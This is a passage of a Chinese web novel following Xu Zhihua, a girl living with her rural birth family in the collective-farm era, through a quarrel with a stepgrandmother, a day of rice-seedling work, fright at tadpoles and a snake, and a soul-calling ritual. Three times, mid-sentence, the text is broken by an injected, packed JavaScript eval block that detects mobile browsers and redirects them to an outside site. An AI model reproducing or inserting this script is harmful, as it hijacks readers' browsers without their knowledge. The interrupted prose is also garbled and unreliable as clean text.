不喜欢这里的一切。 她每天醒来的唯一动力:等死。 但看这家人明显不想她死,徐知画揣测着自己什么时候会被卖猪仔,到时要不要鱼死网破、共赴黄泉呢? 或许是因为之前想摆脱妈妈强烈的控制欲,现在才会来到这里受罪吗? 精神折磨和身体折磨,哪个让人更难受呢? 徐知画觉得都挺难受的。 不得不说,这里的人是真勤奋真辛苦啊! 每天从早忙到晚,干完集体的活,回来还要做自家的事,就连人小个矮的狗岁,也是干活的一把手。 目前在这个家,就徐知画一个吃白饭的,还叫她只管养好身体不用忧心其他,偶尔蔡淑芬也会炖补汤给她喝。 徐知画只当是猪仔没养肥还不能开宰,心安理得地看着他们干活。 她倒想尝试当一个无所事事的废物,只是多年来的习惯让她每到早上6点钟就自然醒,不用再像以前那般争分夺秒去学习各种技能,好…… 无聊啊。 她都怀疑自己是不是有受虐倾向了,闲得发慌,于是平时就默默观察这一家子来打发时间。 这家的顶梁柱、现在徐知画生物学上的父亲,名叫徐天瑞,是个不苟言笑的,很有老黄牛的气质,每天只有在傍晚收工吃晚饭的时间才能见到他。 而她的生物学母亲——蔡淑芬,则是个话多的,爱和家人分享鸡毛蒜皮的事、左邻右舍的八卦、与别人的矛盾等等,对内是贤妻良母,对外则得理不饶人,无理争三分。 有时徐知画面对她的过分热情,常觉尴尬。 大哥徐敬荣,读过书当过兵,后有领导看中他的聪明才智,着重培养,目前在一家研究所工作,属于拿起锄头下地,提起笔杆写字的高智商型人才。 而且,看起来他还是个重视家庭的好男人。 大嫂池清荷,本是个资本家小姐,家道中落后为得庇护,在朋友的帮助下加入研究所,大胆追夫,爱情事业双丰收,是个上得了厅堂,下得了厨房的。 侄子狗岁,大名徐佑,现5岁,出生不久就被送回乡下养,人小力大,能跑能跳、能吃能睡。 二哥徐康荣,不良于行,日常靠轮椅活动,下不了田地,在家做竹编手工或晒草药,是个赤脚医生,脾气暴躁,但和徐知画讲话时会放低声音,还偷偷塞糖给她吃。 二嫂祝安,是个哑女,脸上总是挂着甜甜的笑,一副很好说话的样子,是个老好人,平时砍竹和上山采药回来,就操持家务、缝补衣物之类的。 三哥徐家荣,招猫逗狗,一言不合就是干,一个星期内,和别人打了两场架,次次认错快,次次不悔改,对能吃白饭不干活的徐知画很是看不顺眼,阴阳怪气的,目前还没有对象。 四哥徐安荣,小时候发烧没及时送医,脑子烧傻了,比狗岁要好骗一点,干活不错,指哪打哪。一得空,就邀请徐知画加入他的活动,烦人又黏人。 徐知画觉得徐天瑞和蔡淑芬有点面熟,但就是想不起来在哪儿见过。 或许想让徐知画住得舒适,找了个天晴的日子,蔡淑芬和祝安在家里里外外来了个大扫除,那几张有灰尘和污渍的桌椅,更是擦得油光锃亮。 不该在意的,将屋子打扫干净,得益的又不止她一个。 徐知画如是想到。 * 这天,他们全去上工了,徐知画在家闲得看蚂蚁搬家,一个老婆婆突然闯进院子。 她的身材微胖,花白的头发整齐地盘在后面,颧骨略高,一双浑浊的眼睛透着一股精明劲,滴溜溜地在徐知画的身上扫视。 “你就是送回家里的赔钱货?怎么那么不懂礼数,回来这么久了,也不知道回老屋看看,拜拜列祖列宗。” 老婆婆的嘴巴跟茅坑一样臭。 听着这一通指责,徐知画也没好脸色道:“大贱货有什么好看的,我又不是什么货都收。” 她猜到了来人的身份,应该是那挂名奶奶,徐天瑞的继母,蔡淑芬口中的“老不死”,现在和小叔徐天盛住在一起。 “你这赔钱货,真是没大没小,是不是蔡淑芬不让你来看我?”老婆婆简直将尖酸刻薄表现得淋漓尽致,边往里走边骂道,“看着就不是个好生养的,到时都不知道能不能嫁出去,养在家里也不见出干活,当千金小姐呢。” “你好生养,你一胎十八个。”徐知画气到爆炸,伸手拦住她的脚步,“你不能进去!” “我儿子的家为什么不能进去,他公想吃点白米饭,要孝顺老人家懂不懂?” 老婆婆常年下地干活,那劲儿不是一般大,一下子就将徐知画推倒在地。 老婆婆跟强盗进村一样往厨房去,见粮食被锁在柜子里,又骂了几句“小气”的话,手麻溜地拿起簸箕上的几条番薯和一捆青菜。 临走前还看了徐知画一眼,说:“你爸妈回来了,叫他们拿点米回老屋,隔好久没送过来了。” 看着她脚步如飞的背影,徐知画:…… 就好气! 等到大家下工回到家,徐知画刚说完这件事,蔡淑芬就跳起来,到门口上大骂特骂,说什么—— “婆婆拿大的东西补贴小的,现在全家饿得吃土,没活路了。” “嫁到这个家,我是要累死累活啊,哪家小叔都有孙子了还要大哥大嫂养,不把我当人看啊……” “今天要米,明天要钱,我到哪里当牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880235|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做马能养活婆婆和公公哦……” “……” 徐知画:…… 蔡淑芬拖着长长的调,声音凄厉,很快引来一批吃瓜群众。 有人看热闹不嫌事大般拱火附和:“她这后娘不厚道啊,你家的情况……唉,不帮衬哪里过得去。” “淑芬,你不容易啊,摊上这爹娘,也只能认命了。”有早年被婆婆磋磨的儿媳,感同身受地拍了拍她的肩。 “我命苦啊——”蔡淑芬掩袖抹泪,语调一转,“我也不是说不孝顺老人,如果我有千斤万斤粮食,不要说养全族,就是养全村我也是愿意,但现在我全家就等着拿几个红薯当晚饭,明天还要上山挖野菜才有得吃,实在是没办法啊!” “就是等月末分到粮,我也不会舍不得给她几口吃的……” “……她这是想让我们全家饿死啊……” “家家有本难念的经,淑芬妹子,我家里还有一些存粮,你先借去吃吧。”平时跟蔡淑芬交好的一位大婶说道。 “真是多谢了,要不然真不知道怎么熬过这日子。”蔡淑芬满是感动,“我是心寒啊,有时外人对我还有心。” “唉,都会熬过去的。” 蔡淑芬拭着泪:“摊上这么一对公婆,唉……” 徐知画看了看家里其他人,各自忙活着手头上的事呢,看来是习以为常了。 没过多久,老婆婆和一个中年妇女气势汹汹地冲过来,仿佛仇人见面,战争一触即发。 两人一来也哭诉自己的各种不容易,解释是瘫痪在床的公公想吃东西,是揭不开锅了才不得已来大儿子这边想讨点粮食。 又将话题升级到“儿子不孝顺,爹娘要饿死”的份上。 蔡淑芬一听,急急反驳起来。 “不孝”这顶帽子可不能戴在头上。 她是想孝,可没能力孝啊。 双方越说越急,越说越激动,最后叽里呱啦已经听不清内容是什么了。 只见她们朝对方拍屁股、竖手指、伸胳膊、拍掌跺脚、吐口水…… 你进一步,我退一步;我前一步,你后一步。 隔空施法攻击。 精神伤害:三颗星。 身体伤害:零颗星。 徐知画:【目瞪口呆】.jpg 转头问徐敬荣:“你不去帮她吗?” 徐敬荣摇摇头:“不用,这种小场面,妈应付得来。” 果然,不一会儿,在众人的劝说拉架下,三人骂骂咧咧着各回各家。 回到屋子里,蔡淑芬的表情一收,冷哼道:“那个老不死的,这个月应该不会上门了。” 徐知画觑了一脸她的神色,没见有什么悲伤情绪,迟疑着问:“接下来我们要吃土了?” 要是要吃土的话,她还是先死一步吧。 徐知画如是想到。 蔡淑芬看着她担忧的表情,笑了笑,怕隔墙有耳,低声答:“没有,家里还有吃的,我不这么闹一闹,老不死的会天天来家里扫荡。” “敬荣,你去肥花婶那借点粮食。”蔡淑芬吩咐道。 徐敬荣拿起一个盅过去。 蔡淑芬转头叮嘱池清荷和祝安:“明天你们去挖多点野菜,做戏做全套。” 两人点点头。 5. 病秧子X狼少年 蔡淑芬这几天很火大,每次下工都能听见她骂骂咧咧着进来的声音—— 说狗菜小小年纪一肚子坏水,将来要吃枪子;又骂李小芳是挑事精,歹竹出歹笋;最后关门咒老不死怎么还不去阎王爷报到…… 哦,狗菜是徐天盛的孙子,李小芳是徐天盛的老婆,也是蔡淑芬的侄孙和妯娌。 乡下人,一点鸡零狗碎的事都能吵个翻天覆地。 这很符合徐知画对农村的刻板印象。 反正事不关己,高高挂起。 徐知画并没有探究他们恩怨的欲望,听了几句,嫌聒噪用东西堵住了耳朵,每天得过且过,虚度光阴。 然而她不出门,麻烦却找上门来。 “徐知画,徐知画,你在家吗?” 徐知画正举着一根棍子,第五次尝试搅开横梁上那犟种蜘蛛织的网,试图让它明白,努力不一定会有收获,有时候躺平好过折腾。 总不好承认是因为它的勤奋吵到了眼睛,才看不顺眼吧。 她没那么小气。 听到有人喊她的名字,徐知画手快又捣了几个蜘蛛网才放下棍子,打开门,就看到陈豫周一脸焦急的样子。 “干嘛?” “你身体还好吧?”陈豫周上上下下将她打量了一圈。 “还可以。”徐知画这些天在狗岁的监督下,都有喝那苦兮兮的药,也不用干什么,身体怎么都比在陈彩霞那养的强。 “那就好。”陈豫周看着她脸上是有肉了些,对上她明净清澈的眼眸,不自在地移开了视线,说明来意,“这几天,村里有人传你贪图享乐、追求低级趣味,还不孝不悌,举家之力养你一个,是资本主义做派的大小姐,要拉你去批斗。” “呵。” 徐知画越听脸越黑,隐隐联系上这几天蔡淑芬骂骂咧咧是因为什么了。 历史书上也学过,这年代,讲究的是集体劳动,大家都辛辛苦苦的,你轻轻松松躺平,可不就有人看不惯了。 “如果你身体还可以的话,建议你去地里上一下工,总躲着也不是办法。” 陈豫周还以为她是因为从城里人转为乡下人,一直以为的爸妈不是爸妈,深受打击,所以才一直躲着不见人。 “随便吧。”徐知画一副无所谓的态度。 “诶呀,你就是做做戏假勤奋也好啊,之前你不是挺精明的,怎么现在这么……这么……”陈豫周放低了声音,好心给出建议,但看到她这副模样,自己先急起来。 如果他生活在后世,就知道有个词叫【摆烂】。 “你还有什么事吗?”徐知画开始赶人。 “这个给你。”陈豫周塞了几颗大白兔奶糖给她,说,“同学一场,关照你一下也不是不行。” “我不要。” 徐知画似笑非笑地看着他,不知道他又在打什么鬼主意,之前她骗吃骗喝的目的被揭穿后,陈豫周可是纵容别人孤立她、霸凌她。 现在又搞哪出? “之前的事我们都有不对的地方,现在言归于好,重新认识行不行?” 陈豫周已经习惯了有她这条小尾巴,后来闹掰没了她跟在身后,就做出各种小动作来吸引注意,希望她在被欺负的时候能找回自己帮忙解决。 然而徐知画总是以避嫌的借口和他保持距离,被欺负惨了也没找他,硬气得很。 “没兴趣。”徐知画说完,“啪”一下将门关上。 “脾气还挺大。”陈豫周摸了摸鼻子,想起她小绵羊指哪去哪的乖顺模样,心道难道这才是她的真面目? 气头上的女生果真不好哄。 陈豫周走了,心里还担忧着她一直这么下去也不是办法。 * 外面的狂风暴雨,都被挡在了家门外。 这家人并没有要求她怎么怎么做,好像当她是个废物养也没问题,只是在外人说她不好时,会奋起回击。 有次老不死路过家门口,看到她在晒太阳,开口就是一通指责:“你这光吃饭不干活的懒货!是猪投胎吗?猪养大还能吃,你养大只会拉屎。我要是你,就早早上吊死了算,省下的粮食还能给你公吃。” 还没等她回应,在旁喂鸡的狗岁挡在徐知画面前,嘴里也开始“问候”对方:“你不是懒货,你是千人骑万人骑的烂货,我太公是收破烂才收到你这大贱货,人会拉屎,你会喷粪!你好厉害哟,哕~臭臭臭!” 狗岁边说边捂住鼻子,好像她真会喷粪臭到自己了。 “你这兔崽子,没大没小……”老不死边脱鞋边朝他走去,气上心头想拍死他。 “呜呜呜——太奶奶,别打我,家里真没东西吃了,我会上山去找吃的给你。”狗岁边大哭着边往人多的地方跑去。 “你,你,你这兔崽子,在乱说……”老不死追了一会儿,见路边肥花婶看过来,悻悻地穿好鞋子,解释道,“我可没有叫他上山,小孩说谎骗人呢。” 肥花婶翻了个白眼:“反正不是自个儿孙,自个不疼。” 肥花婶在村里,也是个干架战绩赫赫的人物,老不死很识时务地没有回怼她,灰溜溜地走了。 徐知画回屋望着孜孜不倦织网的蜘蛛,千头万绪缠绕,觉得自己也好像被困在蛛网的小昆虫,挣脱不得,接受被吞噬的命运。 凭心而论,徐知画能感受到这家人是单纯想对她好,没有企图,因为是他们的女儿、妹妹、姑姑。 因为血缘的关系,对她是不求回报的付出。 但徐知画对这里并没有什么归属感,总感觉自己是个外来者,所以在接受他们的好时,总觉得有负担。 或许,可以试着和他们相处吧。 当晚,饭后乘凉时,大队长徐开鸿来到了家里,先是讲了一大堆道理,话里话外就是鼓励劳动,不养闲人,不吃闲饭,村里不能有这股好逸恶劳之风影响到集体进步。 在房间里的徐知画听到了,自是知道在点她呢。 蔡淑芬赶忙解释:“龟妹不是不劳动,她在家干活呢,这不,今天的晚饭还是她煮的,地也扫得干净,衣服每天搓洗……” 蔡淑芬说得下去,徐知画都没勇气听得下去,来到这里那么久,她就是看到酱油倒了都不会扶一下,现在也不想冒认别人的功劳。 “我明天就去上工。”徐知画走出来打断了蔡淑芬的话。 徐开鸿抬头一看,好标致的一个女娃子,白白净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880236|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净斯斯文文的,果然城里养出来的就是不一样,不过忒瘦了些,估计也干不了什么重力活。 “你病还没好,再歇息一段时间。”蔡淑芬想到闺女每次就吃那么一点点,哪里有力气干活,而且身体又比常人娇弱,累病了得不偿失,又对徐开鸿哭诉, “大队长,你是知道的,她出生时跟老鼠一样小,后来又查出有心脏病,大家都以为她活不了,那时我急啊,什么办法都使了,好在遇到个好心人养到这么大,现在闺女回到我身边,我当然也要好好养。” 回想当年,这龟妹能活下来的确不容易,徐开鸿不自然地咳了咳,说:“这不是治好了,当父母的,不能太娇惯孩子。” “没治好啊!”蔡淑芬突然加大声量,声泪俱下,“每天还要吃中药调养呢,要不你去厨房看看,还在煲着药呢,我苦命的龟妹啊……” 徐知画突然振臂一呼:“虽然我身病体弱,但是我有钢铁一般的意志,我愿意将热血洒在这片土地上,树立远大理想,积极向上,为实现共产主义事业而奋斗终身!” 蔡淑芬动作滞了滞,这……还要不要继续哭下去? 徐开鸿突然感受到了党的召唤,暗道:【这城里人说话就是好听。】 “好!好样的!”听得他都想下田再犁两亩地,热血沸腾起来。 徐知画腼腆地笑了笑,这样的话之前她只在宣誓的时候说过。 蔡淑芬不懂什么远大理想,只知道不想让闺女受苦,想为她争取利益,又一把鼻涕一把泪道: “大队长,那些人说我女儿是个懒货真说错了,之前她不是不想上工啊,只是身体不允许啊。好在现在她身体好了点,我也愿意支持她奋斗,凡是都有个开头,万事由易到难,你看先安排她干什么活?” 徐开鸿觑了她一眼,铺垫那么多,不就是想提醒安排个轻松点的活嘛。 他可是个铁面无私的大队长,于是道:“明天龟妹去拔秧吧。” 看她这小胳膊,也只能和小孩同一组干活。 “大队长,你看,我闺女会写字读书,是不是——”蔡淑芬之前见徐知画拿着废报纸看,知道不是个文盲,还想为她争取更轻松点的活。 “先不用想其他。”徐开鸿止住了她的话头,说道,“有需要会通知。” “行。”蔡淑芬破涕为笑,起身拿了一个罐子过来,说:“这是我家大儿媳做的果酱,带回去给阿桃婶尝尝味道。” “不用。”徐开鸿连连摆手。 “我知道大队长不拿群众的一针一线,不过这是给阿桃婶的,感谢她上次给了我一捆菜。”蔡淑芬继而说道,“也不是什么珍贵东西,果子还是康荣去山里摘的。” “行,那就多谢了。”徐开鸿不再推辞。 “慢走啊。” 送徐开鸿出门后,蔡淑芬叹了口气,说:“本来还想着爸妈勤快点,也能养活你,没想到有人心肠就是坏看不顺眼。好在拔秧还能坐着歇歇,你明天和狗岁一起去,记得多喝水,拔累了就装头晕,狗岁很机灵的,两人打好配合……” 徐知画:还没干活你就先教我偷懒了。 有些感动呢。 徐知画听着连连点头。 6. 病秧子X狼少年 晨光熹微,在大公鸡此起彼伏的引吭高歌中,村庄开始热闹起来,水井旁打水的人们说说笑笑,动作麻利地挑了一桶又一桶,因走得太快,荡出来的水打湿了黄泥地,留下一条条歪歪扭扭的暗色痕迹。 “龟妹,早上好呀!”刚挑水装满杠的徐安荣一抬头,就看见徐知画伸着懒腰打着哈欠走出来,热情地招呼道,“过来刷牙洗脸吧。” 徐知画点点头。 在这个年代,对于整天忙于生计的劳苦大众来说,打理牙齿是一件奢侈的事,除了牙痛时会找点药吃,其余时候根本不会想起爱护牙齿。 目前这个家也就徐知画、徐敬荣和池清荷有刷牙的习惯。 见徐安荣蹲在一旁看自己刷牙,徐知画将口中的水吐出来,问道:“你要不要刷牙?” “不要。”徐安荣摇摇头。 想起刚才在水井旁,有几个知青也在刷牙,大家都笑是“狗嘴冒白泡”,但徐安荣觉得自家妹子刷牙的样子真可爱,让他想起了清晨在枝头梳理羽毛的翠鸟。 好想摸一摸她的脑袋,但鉴于妹妹和自己还不太熟,一直迟迟不敢动手。 徐知画没有勉强,刷完牙吃完早餐,蔡淑芬拿出一个布袋子让她挎在身上,里面有煮好的番薯鸡蛋和一个用墨绿色军用水壶装的中药,絮絮叨叨让她饿了就吃,累了就歇,受欺负了就回来说…… “妈,再啰嗦下去,天都要黑了。”徐康荣无语地翻了个白眼,夸张道,“这样温柔的话,你从未对我说过,哼!” “臭小子要什么温柔。”蔡淑芬毫不留情地拍了一下他的背。 看着他们母子打闹,徐知画偷笑着,走到门口又回头看了一眼,见他们的目光满是关切,心里一阵暖流经过。 回想在现代的时候,每当要上台表演或出席什么活动时,妈妈只会严厉地叮嘱:“不许有失误!” 压力巨大。 突然,一只小手悄悄爬进她的掌心,握住。 徐知画低头看去,狗岁昂首挺胸,走出雄赳赳气昂昂的气势,牵着她好似牵住了什么了不起的大人物。 “肥花婶,这是我姑姑,今天我们一起去上工哦。”狗岁开心地举了举两人的手。 正在地里淋菜的肥花婶笑着点点头。 徐知画以为就简单地和熟人打个招呼,没想到这只是开始,一路上遇到三叔公六叔婆阿桃婶大黄狗等等,只要是活着的生物,狗岁都想拉她出来介绍炫耀着介绍一番。 仿佛有她这个姑姑是件很不得了的事。 徐知画:有时候真的挺无助的。 但看在他对自己这么喜爱的份上,就容忍他的小脏手再牵一下吧。 两人来到秧田时,有几个小孩正在田埂上挽着裤脚准备下田。 狗岁又卖力地介绍起自己的姑姑。 “你这么大了,怎么和我们一起干活?”一个小孩好奇地看着徐知画,说,“我姐姐会插秧哦。” 会插秧是能干一点。 “我姑姑比你姐姐好看!”狗岁骄傲地昂起头,说,“我姑姑还会认字!” 在光荣大队,会插秧的很多,会认字的却很少,特别是看到徐知画的穿着打扮,小孩不知道怎么形容,但美丑还是知道的。 她站在那儿,就像一朵花一样漂亮,因此也开始羡慕起狗岁有个好看的姑姑。 “好看有什么用?又不能当饭吃。”狗菜冷哼。 “那也比你长得丑恶心人强。”狗岁双眼一瞪,和狗菜是仇人见面,分外眼红,一股无形的气势在两人之间拉锯。 “大队长来了。” 随着一声喊叫,小孩们纷纷下田忙碌起来。 “别想着偷懒,拔秧的都赶不上插秧的!”徐开鸿吼了一嗓子,看了一眼徐知画,不自觉放低声音,提醒道,“从今天起你也好好干,你算是知青下乡的,有人已经盯上你说逃避劳动了,这段时间勤奋点。” “好,请大队长放心。”拔秧而已,看着就很简单,徐知画对于完成这项任务很有信心。 大队长没再说什么,巡视一圈走了。 广阔的田野上,绿油油的秧苗挤挤簇簇,纵横排列整整齐齐,像是被切割成长方形的抹茶蛋糕,小孩们一点点前进,一点点将这个“蛋糕”吃掉。 徐知画脱下鞋,学着他们的样子踩下田。 “啊!”水好凉,徐知画低呼一声,脚底踩着石子还是野草,刺刺的,感觉很不舒服,而且走一步,水很快变浑浊起来,黑乎乎脏兮兮的。 她有点难以迈开下一个脚步。 “姑姑,快过来呀。”已经准备好开工的狗岁在前方召唤。 开弓没有回头箭。 徐知画咬咬牙,目视前方,尽量不要去在意脚下踩的是土还是屎。 来到狗岁旁边的秧凳坐下,看他示范。 狗岁的小手像加了倍速般,所到之处,一株株秧苗迅速被放倒,等数量够了再用一根或两根干稻草绑成一捆。 “这是稗草,不要的,记得挑出来。”狗岁提醒道。 左手是稗草,右手是秧苗,徐知画怎么看都觉得是同一个品种,就像是同一个妈生出来的。 狗岁又从叶子长短、有无绒毛、颜色深浅等方面分析了两者的不同,徐知画似懂非懂。 拔秧这活,看似简单,实则真不容易。 徐知画嫌秧苗底下的水脏,就抓着叶尖往上揪,然而拔断了不说,苗根还没拔出来。 “你要这样拔。”狗岁又示范了一遍。 看着他的手放进水里,捏紧根部,轻轻松松一拽,在水里荡了荡,底部的泥土也被洗掉了,露出白白的根须。 “嗯嗯。” 徐知画只好强忍着恶心,边拔边嫌弃,好脏好脏,不想要这手和脚了。 之前她从未为生计奔波过,就连吃鱼都是有人挑好刺的,那些脏乱臭的东西根本没有机会进入她的眼球。 然而一朝醒来,变成了下乡女,惨惨惨! 真是哭都没地方哭。 “啊——” 一声尖叫乍响。 只见徐知画疯狂地猛甩着手,甩出了残影,像要把整只手从胳膊甩掉。 “怎么啦怎么啦?”狗岁焦急地靠近,四处张望企图找出让她被吓到的缘由。 “有可怕的东西在水里游,刚才碰到我手了!” 徐知画的声音颤抖着,又害怕地把脚抬起,不过一瞬间,脸色苍白如纸,惊恐万状,心脏砰砰砰地狂跳。 “什么东西?在哪里?”狗岁低头在她的附近寻找着。 “黑黑的!小小的!有好多只!”徐知画视线往下一瞥,看到那些东西在狗岁的脚踝旁边游过,又尖叫起来,“在你脚那里!你脚哪里!” 狗岁掌心合并成容器,从水里掬起几只那黑黑的不明生物,表情有些无奈道:“这是蝌蚪,不会咬人的。” 早听到动静的小孩们围过来,发出一阵爆笑:“哈哈哈,她这么大了还怕蝌蚪,笑死人了!” 知道蝌蚪,但没仔细观察过,一时想不起来,不过再看一眼,徐知画虽然清楚没有攻击性,打心底还是觉得怕。 徐知画又羞又窘,连小孩都比不过,还被他们笑,尴尬得想钻地洞。 “去去去,怕蝌蚪有什么好笑的,狗菜你前几天被鬼吓尿裤子更好笑吧。”狗岁毫不客气地揭着他的短。 “你再说!”狗菜咬牙切齿,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880237|159781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中闪过一抹狠厉。 上次一群小孩说去鬼哭山探险,没想到真见到一个绿色的鬼,狗菜当场被吓尿,后来这也成了他不能提的禁忌。 谁提他跟谁急。 “大队长看过来了。”眼见气氛一下子紧张起来,有人赶忙提醒道。 双方再次熄火。 徐知画想起刚才在大队长面前说让他放心的话,现在也不好说不干了吧,半途而废并不是她的风格。 她疯狂给自己洗脑只是小小蝌蚪,不怕不怕,当看不见,没事哒~没事哒~~ 徐知画尽量不去想水里面有什么,视线盯着秧苗叶片,用触感去感受去拔苗。 没拔几分钟,手又痛又累,但看那群小孩,动作又快又好,不服输的斗志重新被点燃。 一时间秧田里没了说话声,大家都在专注地拔着苗。 “啊——啊——啊——” 突然,一阵尖锐的叫声再次响彻天际。 大家抬头望去,只见一条蛇被抛向天空,又重重砸落到秧苗堆上,徐知画被吓坏了,浑身颤抖着,站在原地疯狂地尖叫着。 “姑姑,不怕不怕,有没有被咬到哪里?”狗岁连忙跑过去抱住她。 “狗菜,是不是你放的蛇?”狗岁瞪向他。 狗菜本来拔秧的位置在另一边,而现在他就站在离姑姑不过几步的距离,阴恻恻地笑着,很难不让人怀疑是他动的手。 “没有啊,我只是经过想去拿水壶。”狗菜耸肩摊手,说,“没想到她突然叫起来,还吓我一跳。” 狗菜说完往田埂走去,水壶就放在那杂草中。 并没有什么证据能指明是他做的,狗岁只好先将心思放在情绪已经崩溃的姑姑身上。 “怎么回事?”附近犁田和整地的人们听到动静,撒腿狂奔而来。 小孩们则兴奋地追着蛇跑,有人认出蛇的品种,欢喜道:“是菜花蛇!” 一想到吃了蛇胆就会变大胆,蛇肉可以做蛇羹,全身样样是宝,大家看着蛇,眼里都发光。 这条蛇,注定是爬不出这块秧田了。 忽然,蛇改变了爬行轨迹,一个调头,竟呈S型的轨迹朝徐知画的方向爬来。 徐知画整个人彻底被恐惧吞噬,胃部痉挛抽搐,恶心想吐,又感觉有一只大手紧紧攥着心脏,挤压感越来越强烈,嗓子发紧,呼吸越来越困难。 “欸欸欸,狗岁来,一起将她扶走。”肥花婶见徐知画状态不对,神色着急起来。 两人合力将她扶到一片树荫下后,肥花婶又叫狗岁赶紧去找爸妈过来,手忙脚乱,不知道该做些什么才能让她好受些。 “龟妹,你有没有带什么药过来?”肥花婶凑近了问。 徐知画艰难地抬手指了指一个方向。 肥花婶想起今早见到她时,身上挎的那个包,“嗖”的一下跑过去,又“嗖”的一下跑回来。 “来,慢慢喝。”肥花婶让她靠在身上,打开水壶小口小口地喂着,一边一下一下地抚着她的胸膛顺气。 没一会儿,徐天瑞和蔡淑芬等人也匆匆赶来。 “龟妹,龟妹啊,你可千万不能有事!”蔡淑芬眼眶一下子红了,心里虔诚地祈祷着各位过路神仙保佑。 早上出门还好好的,现在看到她气息奄奄,亲人们的心里也难受至极。 早知道说什么还是坚持让她在家休养着好了。 这一路的动静,自然引来了众人的关注,等听到龟妹是被一条菜花蛇吓破胆时,大家不约而同哈哈大笑起来,当乐子一样看,嘲笑徐天瑞和蔡淑芬养了个胆小女。 大队长看着她这副模样,还能干什么活?先歇着吧。 头疼。 7. 病秧子X狼少年 在现代,徐知画多才多艺,自小学习中英日三国语言、会画画、弹钢琴、打高尔夫、骑马、射箭、书法等等,拿任何一项技能出去参加比赛都是数一数二。 可偏偏怎么种田,她是一点儿相关知识都没有学习接触过,就连摆在桌上的食物,对她而言只有以下要求—— 好不好吃、好不好看、有没有营养、卡路里多少。 关于食物长什么样子,怎么生长,怎么摘下,又怎么被送上餐桌,她并不了解,也不想了解。 而且她出行参加比赛,一般都是走地毯的,沿途有鲜花气球点缀,什么黄泥土、坑洼路、泥水路等那是不可能会接触到。 可现在…… 现在一想到那脏兮兮的田地、恶心巴拉的蝌蚪、冰冷滑腻的菜花蛇,徐知画恨不得将自己接触过的皮肤剥开换掉,种种触感至今想起来还觉惊悸。 徐知画又病了。 一睡着就噩梦连连,梦里她或困在田地里,身子越陷越深,直至泥混着水将她的口鼻淹没;或掉进水里,无数只蝌蚪密密麻麻争先恐后着涌上来啃噬她的血肉;或坠落蛇窟,无数条蛇缠绕在身上,骨骼被绞杀挤压变形。 残忍、恐怖、害怕、绝望。 医生说:“她现在是心病,再这样下去,真没几天活路了。” 本来还有人说她是想偷懒装病,可事实摆在面前,看到她一副意识模糊病入膏肓、半只脚都要踏进棺材的模样,谣言不攻自破,愤怒的情绪转为怜悯。 后来连医生都劝放弃治疗了。 可蔡淑芬不愿意放弃,想起曾听说过人受到惊吓,魂就会丢在外面,要喊魂才能找到回家的路。 于是回到家之后,蔡淑芬就着手准备:一炷香、一颗生鸡蛋、一面镜子。 她先点燃香,然后拿着香来到徐知画的房间里,四个方位都拜一遍,嘴里问道:“龟妹的魂回来了吗?” 守在旁边的徐天瑞拍着床沿答道:“龟妹的魂回来了!” 如此问答七遍后,蔡淑芬来到厨房里,表情满是恭敬与虔诚。 她将香插在香炉里,又拜了拜,随后将镜子平放在灶台上,接着开始尝试将鸡蛋立在上面。 念念有词:“灶王爷灶王爷,我家龟妹是不是吓着找不到家里的路了?要是吓着找不到回家的路,请您带带路,带我龟妹回到家!” 神奇的一幕发生了,鸡蛋真的立在了镜子上面,蔡淑芬看到不禁喜笑颜开,感激的话说了一箩筐,随后回到屋子,拉过徐知画的的右手,用大拇指在掌心画圈,嘴里还念叨着回来的话…… 徐知画再次陷入在噩梦中不能自拔,还是一样可怕的画面,死亡的气息如细细密密的线缠绕着她。 突然,一道金光拨开云层直射身上,泥水彷佛怕光的妖怪,纷纷退散,徐知画缓缓升起,身体彷佛被施了个清洁术,一下子变得干干净净。 正当遮天蔽日的蝌蚪再次发起攻击涌来,然而一靠近就被反弹,飞向天际烧成了灰烬,变成美丽的鲜花纷纷扬扬落下。 不过眨眼间,她又坠落蛇窟,但倏地化身为一颗炸弹,将蛇炸飞到外太空,一条条小蛇连接成一大条蛇,开启贪吃蛇游戏模式,一口一个星球,最后嘴巴咬中尾巴,gameover。 徐知画感觉有一股力量自掌心涌上心头,好温暖,好舒服,耳边好像传来喊回家的声音,她迷迷糊糊着睁开眼,两张憔悴的脸放大在眼前。 “嘿呀,真是灶王爷保佑,龟妹醒了,多谢多谢。”蔡淑芬双手合十喃喃道。 徐天瑞也不由得拭了拭泪。 “龟妹,你可算醒过来了,担心死我了。” “龟妹,你感觉怎么样?” “姑姑,以后你不用干活了,我会挖野菜养你的。” “龟妹,有没有什么想吃的,告诉我,我去给你弄来?” “龟妹,……” 